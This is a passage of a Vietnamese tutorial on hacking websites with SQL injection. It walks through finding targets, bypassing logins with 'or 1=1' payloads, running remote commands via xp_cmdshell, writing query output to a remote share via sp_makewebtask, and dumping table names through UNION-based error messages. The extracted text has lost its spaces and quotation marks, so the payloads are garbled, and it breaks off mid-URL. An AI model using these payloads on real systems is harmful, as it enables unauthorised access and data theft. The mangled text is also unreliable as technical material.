Thông tin tài liệu:
SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cáchinject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn cóthể login mà không cần username và password, remote execution, dump data và lấy root củaSQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như InternetExplorer, Netscape, Lynx, ...
Nội dung trích xuất từ tài liệu:
SQL InjectionSQLInjectiontrangnàyđãđượcđọc lần1)SQLInjectionlàgì?SQLInjectionlàmộttrongnhữngkiểuhackwebđangdầntrởnênphổbiếnhiệnnay.BằngcáchinjectcácmãSQLquery/commandvàoinputtrướckhichuyểnchoứngdụngwebxửlí,bạncóthểloginmàkhôngcầnusernamevàpassword,remoteexecution,dumpdatavàlấyrootcủaSQLserver.Côngcụdùngđểtấncônglàmộttrìnhduyệtwebbấtkì,chẳnghạnnhưInternetExplorer,Netscape,Lynx,...2)TìmkiếmmụctiêuBạncóthểsearchcáctrangwebchophépsubmitdataởbấtkìmộtsearchenginenàotrênmạng,chẳnghạnnhưcáctranglogin,search,feedback,...http://vịtcon/index.asp?id=10Mộtsốtrangwebchuyểnthamsốquacácfieldẩn,bạnphảixemmãHTMLmớithấyrõ.3)KiểmtrachỗyếucủatrangwebThửsubmitcácfieldusername,passwordhoặcfieldid,..bằnghior1=1Login:hior1=1Pass:hior1=1http://vịtcon/index.asp?id=hior1=1Nếusitechuyểnthamsốquafieldẩn,bạnhãydownloadsourceHTML,lưutrênđĩacứngvàthayđổilạiURLchophùhợp.Vídụ:Nếuthànhcông,bạncóthểloginvàomàkhôngcầnphảibiếtusernamevàpassword4)Tạisaoor1=1cóthểbypasslogin?GiảsửnhưcómộttrangasplinkđếnmộtasptrangkhácvớiURLnhưsau:http://vịtcon/index.asp?category=foodTrongURLtrên,biếncategoryđượcgángiátrịlàfood.Mãaspcủatrangnàycóthểnhưsau(đâychỉlàvídụthôi):v_cat=request(category)sqlstr=SELECT*FROMproductWHEREPCategory=&v_cat&setrs=conn.execute(sqlstr)v_catsẽchứagiátrịcủabiếnrequest.category,foodvàcâulệnhSQLtiếptheosẽlà:2)SELECT*FROMproductWHEREPCategory=foodDòngquerytrênsẽtrảvềmộttậpresultsetchứamộthoặcnhiềudòngphùhợpvớiđiềukiệnWHEREPCategory=foodNếubạnthayđổiURLtrênthànhhttp://vịtcon/index.asp?category=foodor1=1,biếnv_catsẽchứagiátrịfoodor1=1vàdònglệnhSQLquerysẽlà:SELECT*FROMproductWHEREPCategory=foodor1=1DòngquerytrênsẽselectmọithứtrongtableproductbấtchấpPCategorycóbằngfoodhaykhông.HaidấugạchngangchỉchoMSSQLserverbiếtđãhếtdòngquery,mọithứcònlạisausẽbịbỏqua.ĐốivớiMySQL,bạnhãythaythành#Bạncũngcóthểthửcáchkhácbằngcáchsubmitora=a.DòngSQLquerybâygiờsẽlà:SELECT*FROMproductWHEREPCategory=foodora=aMộtsốdatakhácmàbạncũngnênsubmitđểbiếtxemtrangwebcógặplỗihaykhông:or1=1or1=1or1=1ora=aora=a)or(a=a5)ThihànhlệnhtừxabằngSQLInjectionNếucàiđặtvớichếđộdefault,MSSQLServersẽchạyởmứcSYSTEM,tươngđươngvớimứctruycậpAdministratortrênWindows.Bạncóthểdùngmaster..xp_cmdshellđểthihànhlệnhtừxa:;execmaster..xp_cmdshellping10.10.1.2Hãythửdùngdấunháyđôi()nếudấunháyđơn()khônglàmviệc.Dấuchấmphẩy(sẽkếtthúcdòngSQLqueryhiệntạivàchophépbạnthihànhmộtSQLcommandmới.Đểkiểmtraxemlệnhtrêncóđượcthihànhhaykhông,bạncóthểlistencácICMPpacketfrom10.10.1.2bằngtcpdumpnhưsau:#tcpdumpicmpNếunhậnđượcpingrequesttừ10.10.1.2nghĩalàlệnhđãđượcthihành.6)NhậnoutputcủaSQLqueryBạncóthểdùngsp_makewebtaskđểghicácoutputcủaSQLqueryramộtfileHTML;EXECmaster..sp_makewebtask10.10.1.3shareoutput.html,SELECT*FROMINFORMATION_SCHEMA.TABLESfoldersharephảiđượcsharechoEveryonetrước.7)NhậndataquadatabaseusingODBCerrormessageCácerrormessagecủaMSSQLServerthườngđưachobạnnhữngthôngtinquantrọng.Lấyvídụởtrênhttp://vịtcon/index.asp?id=10,bâygiờchúngtathửhợpnhấtinteger10vớimộtstringkháclấytừCSDL:http://vịtcon/index.asp?id=10UNIONSELECTTOP1TABLE_NAMEFROMINFORMATION_SCHEMA.TABLESSystemtableINFORMATION_SCHEMA.TABLESchứathôngtinvềtấtcảcáctablecótrênserver.FieldTABLE_NAMEchứatêncủamỗitabletrongCSDL.Chúngtachọnnóbởivìchúngtabiếtrằngnóluôntồntại.Querycủachúngtalà:SELECTTOP1TABLE_NAMEFROMINFORMATION_SCHEMA.TABLESDòngquerynàysẽtrảvềtêncủatableđầutiêntrongCSDLKhichúngtaUNIONstringnàyvớisốinteger10,MSSQLServersẽcốthửchuyểnmộtstring(nvarchar)thànhmộtsốinteger.Điềunàysẽgặplỗinếunhưkhôngchuyểnđượcnvarcharsangint,serversẽhiệnthôngbáolỗisau:MicrosoftOLEDBProviderforODBCDriverserror80040e07[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvaluetable1toacolumnofdatatypeint./index.asp,line5Thôngbáolỗitrênchobiếtgiátrịmuốnchuyểnsangintegernhưngkhôngđược,table1.ĐâycũngchínhlàtêncủatableđầutiêntrongCSDLmàchúngtađangmuốncó.Đểlấytêncủatêncủatabletiếptheo,bạncóthểdùngquerysau:http:// ...